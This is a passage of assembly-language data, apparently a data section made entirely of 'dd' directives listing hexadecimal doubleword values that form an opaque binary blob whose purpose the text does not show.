353EA80h, 3C18F16Fh dd 1E91C0FCh, 60EC283Dh, 14F084h, 199509C3h, 16682E03h dd 46D01018h, 440F180h, 49F60F7Eh, 373783F0h, 0EB91C0F3h dd 2C58809Eh, 3D58D34Eh, 81E8A6h, 7514B452h, 3F0727A5h dd 63CBF900h, 5E2270F4h, 865900A3h, 0ACFA5FFEh, 530EBEDFh dd 8CBFA7A5h, 672171h, 0D9C408B6h, 8ACC1E6Ch, 0E6456200h dd 4E9FECF8h, 0E97920h, 0E83392F3h, 487AA93Bh, 80AB533Eh dd 682B4DA6h, 0C2D04A3h, 8B985DE1h, 92005940h, 939E137Ch dd 0C04E5B23h, 40A0E891h, 20004CC1h, 0D11A3DEFh, 15A4568h dd 0CDFBBA32h, 81E8DCD8h, 622F5E20h, 204FB2B6h, 81D44B11h dd 0B5C0A9ADh, 11CA0800h, 0C7F7F201h, 0F963CC18h, 7EB98C58h dd 0B7AC1008h, 6379C4BFh, 8B16403h, 0F0FCD891h, 1A009039h dd 8CE18E30h, 265950h, 4756F75Eh, 95E323CAh, 80929800h dd 887AEFC7h, 1F69C02Eh, 9E6671C1h, 31297807h, 1BA36D22h dd 0E620052Bh, 105210F0h, 0AC08A0B4h, 2F036122h, 3C4FF1E2h dd 0B00C3168h, 0C3799F8Bh, 0FDEAF900h, 6781FCD1h, 828D3A22h dd 8531B530h, 0BE39EBA3h, 0E04CBA03h, 5C4ECB39h, 1BD0A17Ch dd 5A3C5E0h, 0EDF0934Fh, 0C6E400AFh, 451499D3h, 0A1985353h dd 170C5E71h, 4ED45706h, 0E687D18h, 0A309355Ah, 2860BC3Eh dd 0DFDBE26h, 2EECB801h dd 0DEE322ADh, 2177F898h, 0D00F5A8h, 0E6256A0Ah, 0EC62E817h dd 0C3344A2h, 28A49FE8h, 0BC0E010Eh, 798871ECh, 0DF9A480h dd 6369CCh, 961EEAF3h, 4E405554h, 22F8B860h, 7B05B7C1h dd 0E7760ACAh, 0A458DAh, 0E8C9DB61h, 0A405F314h, 244F9F1Bh dd 8164E008h, 0ABB12607h, 530BC4Eh, 0F82263B9h, 9FC76780h dd 86166D0h, 8E0021B7h, 454822BBh, 0E8100185h, 0A25A000Dh dd 2508320Ah, 3F065DD0h, 0BBA16A03h, 448B2AC1h, 0E28F00FCh dd 21FBBCA9h, 49321BA6h, 21DFB071h, 0ADB27E23h, 704106C8h dd 9CD75348h, 0FB0EA923h, 0DEEC620Dh, 9E0016ACh, 7A180E13h dd 3665045h, 4D40D3C8h, 200548F6h, 23CC35E9h, 0D94EF407h dd 20F7E707h, 2550A310h, 465C90A8h, 0EAF802B7h, 31D4D1FEh dd 0A28410CEh, 34277EBh, 19DFA0ECh, 0B87C2053h, 0DFC048Ch dd 8E16ECBFh, 0F4A50320h, 0A0CF4A0Dh, 9ADCF0E5h, 0C0FD6108h dd 42925E1Ch, 8833B7DCh, 46E7FE22h, 7BC22C9h, 1C22B194h dd 0FB7CF064h, 0F600D5E1h, 23A12D7Ah, 0FD30D3D4h, 724D808Ch dd 9C000789h, 8A472D69h, 1705AA6Bh, 5F9B3Ch, 0C67B933h dd 0C03CA344h, 0A560805Ch, 249C25DBh, 0D2CC2464h, 0E41140ACh dd 0C000531Ah, 2ED6FCA0h, 0CE5074E2h, 7023EA98h, 200B4871h dd 334DAE4h, 649D1EC9h, 60AEE8B9h, 23FB22BEh, 631161E7h dd 22B69900h, 0E315CCBBh, 4E4F1A19h, 0E610C550h, 0B09974A8h dd 634034AAh, 25AE8879h, 34351602h, 0A2A58802h, 20654E8Ch dd 0A083E443h, 2C4A8B2Ch, 81023C09h, 0DBA26348h, 0FCF06066h dd 0C505F0C4h, 456594D4h, 0B6237C2Eh, 9BA50901h, 52BB7B21h dd 9C160303h, 780167CFh, 0F907B391h, 6C3002C9h, 0D41E0354h dd 231F6EE5h, 0F02C4956h, 0FE32BB3h, 0A596B86Fh, 0A69B2300h dd 0ACA1ABDBh, 0B8001418h, 23030421h, 1611EA01h, 52BFD2D4h dd 0F5D80858h, 0FB5FFDC0h, 221746ACh, 0B5600372h, 6DDCE608h dd 1E7313C8h, 902863Ah, 8226D0A5h, 0C09E4C30h, 84593C44h dd 0FA1CB146h, 4D204EAh, 2CE88B82h, 190044DEh, 80F1ACE5h dd 301C90BEh, 3941468Bh, 23000232h, 0E0CADA33h, 4D74921Fh dd 0EE1084A6h, 1BCB2245h, 982AC808h, 0E72EF1E0h, 3069B76Ch dd 5BFF26EEh, 5A4884D4h, 675C8280h, 0C81182Ch, 0D64CF825h dd 71B0C951h, 98552E17h, 0F29C2C04h, 0D40360C0h, 8CEE0B40h dd 0C01F58F0h, 0E80C111h, 80D02E58h, 0DDEFFD0Ch, 0A6D7964h dd 8CB55B5Ch, 7D4F94h, 5693DE8Ah, 0A400FECDh, 579B3673h dd 11A3FE7h, 0D93C3DA0h, 61824CCAh, 0FA30E6A8h, 0ECBD110Dh dd 0B9758886h, 800E129Ch, 0A8D4555Ah, 962CE720h, 0EB00F82Eh dd 534B9EBCh, 0EC21FDEh, 1E6242F3h, 0EC60789Ch, 2400EFC6h dd 66554FB2h, 0AB1193h, 91A89F26h, 0AE444D95h, 0A940A060h dd 0DD9A14F0h, 0AB294058h, 17E458Ch, 0B5A0BB50h, 0EAF6028Ch dd 82A4CABCh, 0E28060E5h, 0F123EB9Fh, 0EF2D0B9Eh, 0D402B7EDh dd 48431950h, 30CB3484h, 1DC0B688h, 2D6197Fh, 0D42F0CE5h dd 0C4E19036h, 0EF606438h, 69085514h, 2A711280h, 0BB709847h dd 4F978870h, 26097E29h, 7601714h, 3C41022Bh, 0E8185529h dd 9CB0C751h, 0EAEA73h, 0FF4C1AA1h, 0E966A096h, 0A9C80607h dd 40B9BB28h, 94B43B0h, 21745DE2h, 6C910040h, 261BC83Dh dd 260EF0C2h, 0BB9FA112h, 70B962EAh, 0E810ADC0h, 0C60051E1h dd 4655803Bh, 32011F53h, 20ABA0F8h, 2083ADE2h, 0B376FDA3h dd 209C40E2h, 0F48CE776h, 945514ECh, 6A00888Fh, 50299CDFh dd 0F334D0D1h, 0CC1C14Dh, 300EAB8h, 8024EC4Eh, 2F050CA4h dd 0D047A2F0h, 0C306EBCAh, 215890D0h, 0BC817112h, 0AFACF808h dd 63407C18h, 8B40065h, 0D884FBBBh, 0C7188F2h, 79C0D418h dd 9910CE50h, 1971F184h, 9C60A621h, 18340075h, 7917C658h dd 0A10B12A2h, 0B4EA314h, 89C2074h, 0F0154061h, 86B02855h dd 0DDF3098Ch, 44802225h, 8AB19BC8h, 0BC355E0Dh, 0C302077h dd 22EE8CB8h, 91E7FD11h, 932CE29Ch, 0BE0004B0h, 0E86E063Dh dd 475035F8h, 5A888088h, 0C04848F0h, 11868020h, 0F44058DDh dd 0BC0300F1h, 53D31B76h, 9B00AC19h, 9F54868Ah, 8BFD94h dd 720985DFh, 0B49C5258h, 18819B03h, 0A65715BBh, 0D4CF5830h dd 0ADD41A0Fh, 995BA000h, 0EF6EDD6Ch, 0F0884720h, 10F39CCh dd 0AF1C740Eh, 0C090A09Dh, 436070B3h, 0C673C221h, 1A15008Ch dd 0AF76D838h, 0F93CEF3Dh, 74179EA4h, 0EAC12FC0h, 30C87585h dd 0D818AE18h, 92F8D0CDh, 53615D10h, 9B527106h, 0FA0779AAh dd 0B41CD264h, 0B661E4E1h, 3071A89Dh, 0F8C9AB21h, 2B4FBC00h dd 0FF79D25h, 83CC3E1Ch, 0D197EA0Eh, 68704340h, 9A0051B0h dd 23E9C3A1h, 0DC94A6h, 8244ABC0h, 0FFB529FAh, 0AF68BB00h dd 530B3618h, 53E002Ah, 0EFEA240Ch, 7A002340h, 4EEB50A9h dd 0E6F05179h, 1687E9Eh, 0DC273EBBh, 0D456C37Ch, 0D803DE16h dd 372E7873h, 0C41801D3h, 49F5E171h, 1E89F0F2h, 0CB22720Fh dd 36FC0146h, 2893E98Bh, 0D2FE0D51h, 0A523FC61h, 0C1383Dh dd 0DC3EFB40h, 0BE722Dh, 0D6ABF061h, 627BF49Ah, 79EF591Ch dd 0FAF23F40h, 0CF2CEC3Eh, 95008A29h, 97C0706h, 0A0F05166h dd 3C740A78h, 216873A1h, 4DA78C1Ch, 93D3919h, 0BA8F831Bh dd 21E9F248h, 7903AB98h, 6D1E74Eh, 7BB2C6C0h, 5C852045h dd 5C406644h, 590A558Ch, 48EC3D00h, 394D06CBh, 20F360BFh dd 0F9313051h, 28EF1003h, 0E0EED33Dh, 71C67D7Ch, 0A79F18F6h dd 8F4CB115h, 0F9D7C500h, 898C8067h, 658740Bh, 4F510BFh dd 0A730287Ah, 6080317Eh, 8B743E61h, 8D889A06h, 0E500187Ch dd 311789C0h, 18B04501h, 0B0E23D2Ah, 0AD3FC57Ch, 167106D9h dd 18907FB7h, 0E9D636FAh, 280089C4h, 0C1F29FFFh, 0D17DAEh dd 0ADDAA8A1h, 880BF50h, 4C816A03h, 0F50223C8h, 0F379B018h dd 0A134F02Eh, 0A0C01B24h, 8C1401F2h, 487CA64Ch, 6CC9F3E0h dd 0AEC408Dh, 0BA008BF5h, 0F715359Dh, 0A0CF0346h, 14EF3FC8h dd 98CD61EBh, 19B10171h, 231F1BBDh, 32D0D41Eh, 0C49D08CAh dd 6F41638Fh, 628AC2F9h, 0B014409Fh, 0D543373Eh, 10133550h dd 9CB82CA0h, 0BABE008Ch, 4271F527h, 8401C68Ch, 0C07A1E22h dd 0F450F0A3h, 332EF73Eh, 6B70CE7Fh, 94FECBE0h, 48001890h dd 0BF25A213h, 49F709A3h, 0DD5894C3h, 48104619h, 0B23020F9h dd 3E47E780h, 29615240h, 0ECB459D9h, 0D30C9442h, 893FA7Dh dd 0B921C0CEh, 690CB460h, 80A4C568h, 0D848DB80h, 187C7A24h dd 681E5233h, 6800B985h, 77E5B5BCh, 0A5AA8Fh, 512CF5C1h dd 0CDCEA29h, 20A42800h, 6149FAF3h, 8C9203B3h, 9CE67C18h dd 0AD377B8h, 63839400h, 0EF6C32ACh, 0F7C500B6h, 0EA16A984h dd 0BF00C2B4h, 9E474B46h, 14A43ABh, 1D7D2AAEh, 0E47C109Dh dd 0FC00541Eh, 3A1C8337h, 0DBFFECh, 0A564B562h, 0B602545h dd 0D558471Dh, 0E301E240h, 1E45D15h, 379468Dh, 0E8A3B871h dd 443C4CCAh, 5D0A8924h, 78CE8081h, 154874Ah, 0DE933F8Eh dd 80E9AEC7h, 581A2A18h, 80D21B95h, 0D14217AFh, 0E2FAD51Dh dd 9B584B43h, 862F0C40h, 0E3302143h, 0A1655261h, 10750E40h dd 1DDD5117h, 32D8F3CDh, 766243A0h, 0B3B42CD2h, 55213081h dd 6633E9FEh, 0E2C50C9h, 709C5469h, 0DFEC3998h, 0B280DD07h dd 0E183047Ch, 0C090C3E0h, 187D57EAh, 51025116h, 53F082E5h dd 87080F50h, 0D74452F0h dd 3B785Dh, 8DF9D22Bh, 3977A1CEh, 60C9E060h, 0C5DCDD85h dd 401530E0h, 7BF267ACh, 9D0C333Bh, 182B7AAAh, 0C62E014Ch dd 59ED260h, 4561800Dh, 51AF6642h, 0ACD9006Eh, 0F0136DD3h dd 8803A931h, 0FF8ABF01h, 0B11A8839h, 0AEAB09Fh, 141D8DAAh dd 0C7A80C94h, 0A3001361h, 0D1F6C03h, 0E7C4C2h, 0CF28F76Ah dd 0CCF40637h, 269329C0h, 51501Eh, 0EF874359h, 0E3C9FBABh dd 8E5F021Dh, 0AA60F6C0h, 60A0BA12h, 5044A808h, 0E8C0F7A1h dd 0A7BF7F0Eh, 6E6701A8h, 0AF40F586h, 6336D019h, 2B179203h dd 60795ADEh, 0F7EFB871h, 0A601AAA5h, 500BDC5Bh, 4B11CBA9h dd 1FE6C461h, 882FA80Fh, 3027A3ADh, 1ABDF0FAh, 0DB9B001Dh dd 0C9E07F5Bh, 0CF0FE28Ch, 640FBA68h, 98858569h, 97122400h dd 5440D1CDh, 0A5C41Ch, 1B605D8Bh, 0D9FF7198h, 856D690Ch dd 4FB3016h, 0F9D1D443h, 52B84721h, 0C3935B0h, 0A8D0ABE3h dd 67F1706h, 5416E6CFh, 550019D8h, 0DE3A2129h, 58527Ah dd 0D46777AEh, 453D61C0h, 76542F00h, 0EA913E27h, 121D004Dh dd 0CF8ED7A8h, 0E174FC17h, 14FDA900h, 6F1CE8E9h, 1940C43h dd 490813B0h, 0E41221C0h, 0A1C5E8h, 2BA07F3Ch, 5D39DEB9h dd 0C654E91Ch, 0B5EB5500h, 3A7CE15h, 47DF377Bh, 40003502h dd 178E57DDh, 18AE205Bh, 81384ACh, 20CF2FECh, 0D98D823Dh dd 94AD80B6h, 0D2FD1Bh, 0A57356E6h, 0F80CD782h, 0E57A7F7Bh dd 3400AE7Fh, 70C0A8CFh, 3D7A9B4h, 40F54ADh, 21C6D132h dd 83288B78h, 9000877h, 26E9A11Fh, 1DD33388h, 184C1828h dd 27672161h, 220A100h, 0C06884DAh, 6F9D072Ch, 0C7A2FE4Fh dd 0F5D3D009h, 875287Fh, 1BAF59C0h, 985854C1h, 50EC0391h dd 0A6EBE174h, 33142100h, 620459C1h, 6C5F005Ah, 8AE6B856h dd 0BE7E7679h, 35490D07h, 0E0B35B21h, 27B810D1h, 0A12BC072h dd 432826E5h, 5A224Ch, 0CEA11343h, 8906185h, 801B5D3Ah dd 8A257C4Fh, 28677ECFh, 94AECCh, 8108F69h, 92D3A58Eh dd 0E16E2F00h, 6733BD5Eh, 0C97E001Ch, 0B6CC326Dh, 0A800DF6Ch dd 0E3D4D186h, 615F28h, 79D2134Ch, 3715A44Ah, 55BD1200h dd 3B5B1B80h, 347142h, 2732AAB9h, 0B12A9CD0h, 2F16531Fh dd 2944BEC3h, 92180D3Ch, 0E020BB36h, 4130A037h, 0ABD53122h dd 0E40201A8h, 25FD7891h, 0F3D7C821h, 62860800h, 0B98EB76Bh dd 38180132h, 0FACAA4E3h, 0D116ECF2h, 4CD2C500h, 0DCCD1349h dd 14C45320h, 79E1CEC0h, 12003AE0h, 0AAC071C2h, 318339CCh dd 8AA97647h, 0A081FCBEh, 0AAA38D07h, 8CBE75A9h, 0B52127h dd 0C5BF12C6h, 0A9CCABE9h, 71FF3F00h, 0FE33AE93h, 72325C75h dd 0B911670Ch, 8303B0F1h, 6340BD35h, 6B4FA956h, 9DE8088Ch dd 5B007D20h, 0FC690632h, 4F3981h, 5A5DD1E5h, 73B637A6h dd 327BC106h, 0C830AF38h, 81C76560h, 0B340C3F1h, 9E40B218h dd 3B590093h, 97487FC0h, 0CD06BF06h, 9476FD20h, 0EAE30058h dd 9DB86AEFh, 0CCA83970h, 0A06F3A2Fh, 7910040h, 0B06FB4E4h dd 0A1F8802Fh, 76ECF9A6h, 0FB50532h, 48B88858h, 0C4C0A9A8h dd 21A05712h, 25919DBDh, 12CCBB00h, 0F3ABEB8Ch, 0DF2AC700h dd 3C558A42h, 0E92500BEh, 8C261411h, 340F7B8Eh, 1D908876h dd 0AB1A3840h, 0AE0A9Dh, 3B7ADAF7h, 0C5537003h, 3DD15C00h dd 42B2E398h, 64FE053Eh, 3FFCE20Fh, 0DA04B004h, 0FD8430EBh dd 0DD20A711h, 0BCFCE100h, 6B052FFAh, 0FEC3FA48h, 0CF3A0013h dd 0A88BE75Eh, 0BF620DC5h, 241C8D28h, 50FD214Bh, 0C2109112h dd 0DAD7891Dh, 22836722h, 0F121110Dh, 0D30204C7h, 40299A10h dd 2284F9E2h, 9F20FBF0h, 0A3B472BDh, 5583E8E6h, 9E8A0064h dd 705FF6A5h, 9F00376Eh, 14732BAFh, 887EAh, 0BF4CC0E5h dd 8259BEF7h, 18894E07h, 19B09348h, 0D9CE7Ch, 698163E0h dd 1C96F191h, 0F8019075h, 85ABF4B5h, 0CCF04110h, 3C2300FCh dd 210DB06Bh, 0AF010432h, 0F8792F34h, 2AF00CC9h, 558C0033h dd 52BFD589h, 0D4002286h, 63202375h, 33CF2A9h, 3EA77DDBh dd 0FB90122Ah, 6590E8D0h, 618E891Dh, 7705B542h, 0AEE0A729h dd 0EB602C80h, 9F810096h, 0A7387DB7h, 1B70F7C7h, 1308301h dd 4B0C2BD9h, 60EB0D8h, 7A2E39DFh, 0ECEE104Ah, 0FCABE601h dd 1FF3E89Ch, 537F20h, 9598E368h, 46D30D03h, 90621B00h dd 97F9286Fh, 189449BCh, 84B4B815h, 848AB000h, 0E94DDF5Fh dd 0B7F3Dh, 87F3979Fh, 38AAC1DBh, 76072ADCh, 0E01E05F6h dd 0DF2BF10Eh, 1C2F9B04h, 23C0CB71h, 404578h, 5A56B72Eh dd 0E706E3C0h, 0D6004476h, 0A9B942D2h, 1887BBBh, 53ECD4F5h dd 0C0A335B7h, 7300F091h, 0E32E7469h, 0FA9730E2h, 54EAE7h dd 0B57ED605h, 437FCCCBh, 0B7FE1AF2h, 47794100h, 4D1BD229h dd 2E9E3A45h, 304CC100h, 6A2CE3DCh, 26D3B201h, 9483FC56h dd 1E74E8h, 57590264h, 0B3AF61Dh, 0F0AFD72Ah, 80546B3Bh dd 0D3124CE5h, 7DFAC0C3h, 4A0F1C25h, 0CC17C0F0h, 74C9EC44h dd 0CEE27700h, 665F627Eh, 0B730054h, 0E4824F3Ah, 0F914B19Eh dd 0B4F19Ah, 7340610h, 0A9E944h, 6C435640h, 8B5B9C5Ah dd 9A029300h, 0BF49D07Fh, 192400A1h, 0D23BC71Eh, 0A60EB7EBh dd 47169474h, 0D0404FDEh, 90E1C85Bh, 8F6D016Ch, 0A231F4D7h dd 0F1DFDCF8h, 900C5F8h, 0E91B0E0Ch, 24DE17h, 0DA9E6857h dd 52D6DC08h, 0AEB26B0Fh, 4ED003Ah, 0C94DE6h, 0DD73F32Dh dd 9A3DE211h, 0E8CAAB1Eh, 0A06C3100h, 1970AC7h, 0AD7F4770h dd 24FC462Eh, 8220E128h, 0B68B22FEh, 8040103Ah, 43941CE2h dd 0EC90E736h, 7D1D01FBh, 0D912F9ECh, 1ACFD426h, 0B35CAF0Fh dd 6C942005h, 3F249Fh, 7C61254Ah, 846E3C91h, 80CCB23Dh dd 15A96F7Eh, 0F99DBAh, 35E0830Ch, 10221D01h, 1ED3595Ch dd 5E80EFC5h, 0A6600B3Bh, 0FC7A3Fh, 981774BCh, 58D25F80h dd 0EE302300h, 401B8BF9h, 0A078793Eh, 100D27DCh, 0F0CF71h dd 5E8D6A8Ch, 4E4BC7h, 9F7709FCh, 58C5B82Eh, 0F5F76F01h dd 0E3B40C42h, 0F6C0F0h, 165764C9h, 0A74A8387h, 0B0113101h dd 0B410F4ABh, 0DC171571h, 8BB674B0h, 83650232h, 458CB25Ch dd 4209480h, 56002FD2h, 258FD58Eh, 5F27A4h, 0C7C12D9Eh dd 95DC2458h, 43A73900h, 0BD0B5B5Ah, 767E0382h, 0C06B4974h dd 70D538E9h, 34007830h, 4A5C22Dh, 8D7BBCh, 7A6B8BCCh dd 27CB9456h, 46D9BA07h, 0EC67D8EEh, 0DD860D60h, 140207EDh dd 60457924h, 0F27D1BFDh, 23776C00h, 2709ACC0h, 6FE31366h dd 8F070047h, 0F8CD1BA4h, 86889713h, 561C3040h, 1D0DEC5h dd 0E901EB93h, 0C458A981h, 0E7581DE1h, 5B040054h, 0FA2FEE02h dd 79C600E0h, 0B7B9912Eh, 7400D897h, 19284B23h, 1E1DAEh dd 63E7C41Fh, 2F4D6A2Eh, 8982390Fh, 0AD366079h, 70937D30h dd 97A7003Eh, 0A90359C5h, 0E0005CE7h, 71815608h, 0E284A6h dd 0B62FAF75h, 0F8FE576Bh, 0BD4B8301h, 248923F6h, 1984C0h dd 0E8C0F0FBh, 5D866FFh, 127E4F00h, 571C9B2Eh, 0F5F056h dd 0E38AA60Dh, 99245AA2h, 7D01F970h, 2DF3E764h, 0F71B91h dd 0FDA41F50h, 63139D42h, 5F5B7402h, 0E0C01EF9h, 7888762h dd 922936D9h, 6000FEB9h, 0E8A09F28h, 9389D603h, 985150CEh dd 1C6F2h, 0EC62A157h, 0E51B13F8h, 97299800h, 0A4B78C9Bh dd 0F5270091h, 117D4B6Eh, 0B0C0FF13h, 0CB90A181h, 91ED03ADh dd 0F3187FBDh, 0E3C5C7C8h dd 3029AE01h, 69B8E9BBh, 724B59F4h, 0EBEE66h, 71921FD8h dd 2CEF46B9h, 571DB300h, 35C2E141h, 0CA2500AEh, 0AA47EF0h dd 980021E7h, 3384D48Dh, 75E7154h, 0AE8575D2h, 0C0FF67ACh dd 0EFB3FC58h, 958BF400h, 285619D0h, 292F81Dh, 0D1C883F5h dd 0FCC19FE1h, 5741D27Bh, 6861D83Bh, 33BA0C0Bh, 40A00EF0h dd 3975574Dh, 0E9430086h, 0A14B8E7Bh, 0EF0773AEh, 0B8CA47C3h dd 8C346A10h, 0DA191D16h, 33584031h, 7936CEFh, 0CDAEB501h dd 8A7ABA8Fh, 41078C8h, 2FA127B0h, 0CEA88075h, 60075AC0h dd 0A26A873Dh, 5C80E8D4h, 3F3468h, 9AA52879h, 0D660EF36h dd 1FA1F700h, 0E461B6C6h, 4CDF2858h, 0F7A8Eh, 0B84EE254h dd 71A8168Fh, 0E704A90Eh, 236F40D3h, 97A2Fh, 0D0C14772h dd 45F8756Eh, 0B0500C00h, 4EF699CDh, 0ABB5003Eh, 0A169F3CEh dd 0D400C123h, 2D8FCC0Ch, 63B31Bh, 0A03F9026h, 0E20BEAACh dd 174E711Ch, 0B6832500h, 0B8672498h, 0A4161F34h, 0BA9C80D1h dd 2F5371Eh, 1300C3FEh, 9B3BE5CBh, 0FED5F8h, 0F916C2F1h dd 0DF67277Eh, 78AE382Eh, 0E7DA8500h, 50550475h, 706BF8Ch dd 0B8AC0B26h, 0A16870D7h, 300087DEh, 9E74C45Ch, 46AC9h dd 0E7F3330Fh, 92D8DDBh, 48D7B11Ch, 0C3664200h, 1D6507FCh dd 940E980Fh, 5E00D62Ah, 49AA1668h, 24005DA2h, 0B20B3CF3h dd 3707727h, 0C10C53E7h, 0BE004894h, 527E6783h, 984C5C85h dd 785D2CC0h, 1ED13D4h, 1FB565BCh, 0E0B6D9EBh, 1900C19Ch dd 0ACB46F09h, 1AB7FCDh, 0DE883195h, 0F4E4BE12h, 0A709BD45h dd 812839E0h, 9ECCA190h, 0ACB080E6h, 3869648h, 162F9878h dd 2BA9B52Dh, 0CD21F81Bh, 8D000772h, 0A369FC7h, 0E66B84h dd 0E16F2EFAh, 2C660CA0h, 8F98A36Eh, 0AFE021F4h, 4AE0F6E8h dd 69B01C0h, 0C4D337C8h, 3D6A7054h, 2260A200h, 88B18C7Ah dd 7BBE1CBDh, 4304C1B7h, 702CAC29h, 0E9005DE3h, 32FAAA53h dd 791A776h, 0CF2420Eh, 31154385h, 0D2823CC0h, 51A9C605h dd 0BC000667h, 0EBCFD374h, 964400AFh, 0E55E5224h, 2E1DC8B6h dd 6FC1F7A7h, 29DC3465h, 0A548E8h, 0BDFF8C02h, 0F8C2A3FDh dd 885ABF14h, 3C5801C0h, 643B9B76h, 3BD1FB30h, 99808AE4h dd 750130E5h, 7200DE2Eh, 0D0AE8DF4h, 794BDD6h, 0BF5351F2h dd 7BB6D32Ch, 0C30C27C0h, 58EA1DF6h, 0CABCBB50h, 90010E6h dd 0E07DA056h, 317DD85h, 0F65BAFD1h, 0A8902A13h, 0D707761Fh dd 868A3CBAh, 22F5E06Fh, 94DE7977h, 8D9CC0C0h, 356FFEC0h dd 575A01Ch, 48C822Fh, 0E10D14CDh, 533880A6h, 0F15CF98Eh dd 0EA0F7C6Ch, 0A041F5E8h, 9E845A4Eh, 6D8B015Eh, 0EE20FD29h dd 39D5E425h, 5101967Bh, 0BADC86A2h, 2C2298h, 4BB57602h dd 0F441EC67h, 0D9D06106h, 6460F262h, 0BA48E24Eh, 869E0040h dd 382FF72Bh, 5C5A08CDh, 0DC00AC35h, 884B40A6h, 0F23000C9h dd 135EC0E3h, 3A741E9Bh, 54097C01h, 0B5582597h, 0EA0E1C38h dd 7B402056h, 72F45707h, 470DA60Ch, 6B2060h, 0C387719Bh dd 9AA7EF5Fh, 808EC038h, 0F03E4B22h, 7515DB48h, 0B3E503AAh dd 77BB457Dh, 673C6600h, 0BA736281h, 22A107BFh, 50DFA396h dd 0D1FEE4B4h, 38B24100h, 0D55B2C58h, 0C0570A0Bh, 0EF47633h dd 4AE12D07h, 0F0F76359h, 2B00EAC7h, 37FAE450h, 50306DCCh dd 6BDF74h, 6F1F845Ch, 170E5873h, 4A725500h, 34AA1351h dd 0BF6A0030h, 90B17C82h, 7900AEB9h, 73C69465h, 90BF570h dd 0BE7F7D81h, 4B108CA0h, 0E10083EEh, 404EBFB2h, 0F8A91967h dd 4F8001Bh, 2B9AECE3h, 260295C9h, 0D433DDFCh, 0F8A8E890h dd 629E2CCAh, 6B6900E0h, 81893A05h, 0EA66F03h, 635B86h dd 800472DCh, 165DA1C5h, 73095105h, 94C285DDh, 0E050A2h dd 0FBC56FECh, 0B289A4CDh, 2F047700h, 7EAF2AFEh, 5C89095h dd 398E80FDh, 830C0E3h, 961CCDEDh, 0F7C9870h, 40410F0Ch dd 3F4888FAh, 5CA548E5h, 39E25F00h, 0D2E73646h, 6374A901h dd 9FBE2C03h, 3F7BCCh, 0F32394AEh, 3D6BE5A3h, 2EFB3E18h dd 4E7639h, 7CB1AAE7h, 5EA9095Bh, 0DC7BCC28h, 3D008C7Ah dd 75291302h, 786368h, 2EC35FBAh, 735C8F54h, 37649D00h dd 0E17BBB92h, 6290E76h, 28C0EDD0h, 43EBB59Eh, 13F3AE0Eh dd 400312C3h, 0A8BF41C2h, 904D0DC8h, 0E04303E0h, 8D3FD921h dd 39F84800h, 0CC9BF368h, 0E190015Dh, 872D134Eh, 0FE20808Ch dd 148356C1h, 72958F1h, 0AFDA5400h, 69E768BEh, 0DE280FF8h dd 6C09E0E4h, 215DC58Eh, 0B3393390h, 0AA59C0h, 4E14CDBh dd 26BA6947h, 42D90D00h, 0C72A2922h, 0D80A5807h, 2C625900h dd 1F3D827Eh, 0E8E84Ch, 952D9F43h, 1B372F6Ah, 61B7B4F0h dd 993C84E8h, 0A10BE090h, 10D18E3h, 0DB1D037Dh, 0CA05EC3Ch dd 0C1EAF3AFh, 28752C34h, 865DA0ECh, 0C870088h, 5BBCD08Eh dd 0BE004FC6h, 78732374h, 0B8F191h, 51476EC0h, 0CB27384Ch dd 5322771Dh, 0FD9CF6C0h, 640D6FCh, 0BC29E169h, 8B27A066h dd 641421BBh, 0A880A62Ch, 0BA6F678Eh, 0E004069h, 207F6AA8h dd 0D344F9h, 7766373Bh, 0CD09E1BCh, 0FC81A003h, 0E84AFFACh dd 82DC31h, 0CF65A1B8h, 0B034D8D9h, 0A30A25h, 0DA410798h dd 0B5E83DCAh, 3E5F6B83h, 2950F70Bh, 110183A8h, 0E16AC6FAh dd 7468764Ch, 4090E62Eh, 3BD9B70h, 0F54D1300h, 91EFEE56h dd 181C00B1h, 67841ED6h, 23001226h, 0D9F25A1Bh, 76791913h dd 0EDF80045h, 9302F62Ch, 1F12AC72h, 20075A57h, 78406466h dd 0C36B952h, 186837E0h, 9300AFE0h, 5D3E6DFEh, 0E38180h dd 926C4A06h, 7A6BE9DEh, 942C9100h, 3C798B7Dh, 0E83E02B9h dd 0DFD00242h, 0E980F080h, 96004921h, 0D70E9F79h, 0CE5F2Bh dd 882A2712h, 32EBBE53h, 3797F600h, 5E4E2583h, 776400B5h dd 0C3F7992Bh, 310051CEh, 8EA5CCF2h, 1C107C2Eh, 6C1673B0h dd 0A84A0075h, 6C06D1B3h, 3EB5905h, 89C097C2h, 0F276BD10h dd 4FCB0FB8h, 1CEE1AE7h, 1F38E180h, 993B864Bh, 5A0C077Fh dd 0F080C866h, 1C00806h, 0DDAB549Ah, 0D9BA4EA4h, 734080CAh dd 0FFBD7EF1h, 998F0074h, 0BAB71195h, 9D00B475h, 7DB630AFh dd 2873E14Fh, 0EC5C3Ch, 59DCC12Dh, 7190E8D1h, 1F705660h dd 7BF1E537h, 0A3C900D8h, 61A78114h, 6F17D502h, 21003347h dd 20BF1FDCh, 835D03ACh, 992A9C3Fh, 0F2F4C1E8h, 0B1A9EE06h dd 0FE6859EAh, 5E354458h, 6E98B701h, 0B2D2486Ah, 0FE25ECh dd 0DACE93ADh, 2FDC8E4Dh, 0EC9809FAh, 54C6380Fh, 0C300D3B4h dd 0B60B9C3Eh, 72F90381h, 0E4BC5E4Dh, 9BFA1C90h, 83618C0Bh dd 0FF470024h, 2D3D63h, 936C871Eh, 538FC786h, 3B994200h dd 658A6A7Dh, 87DA2835h, 0E13800E0h, 908E546Ch, 0F31C96Fh dd 16112052h, 0EF248BD8h, 7E62E2E8h, 0F383189Bh, 6C2EA005h dd 79A69100h, 0B11F20CBh, 0EDA81DE9h, 0A50B071Ah, 7440F045h dd 0DC000F01h, 0EFDEF4E6h, 71E188h, 67465B2Bh, 0D7E735F6h dd 0D915C900h, 424B9E3Dh, 0FB4C0010h, 0B8018EBBh, 7D18635Fh dd 34583C8Dh, 39DB0071h, 14AC18F9h, 32037851h, 48AF1989h dd 80BA00ABh, 37C42A71h, 0D60E5006h, 0A0CC23AEh, 9F0EEB20h dd 157B0067h, 0DC3AFEF5h, 4C0047A7h, 93CF9887h, 0E8E52Eh dd 65F76C0Bh, 0DACC5B59h, 3A5C0658h, 3270007Ah, 0D6772F0Fh dd 0A4441EB2h, 54007C90h, 0BE1A5895h, 0E090E5E1h, 7F1DC178h dd 0FB8061CBh, 0DB5AF298h dd 9C9026D3h, 0D25600C9h, 457A443Fh, 97CE8FA0h, 0B3850600h dd 0DCBB59D8h, 0B7241CFFh, 284E40DAh, 16A635CBh, 2B382000h dd 69892336h, 3F9A008Dh, 0C347E5BDh, 517842DAh, 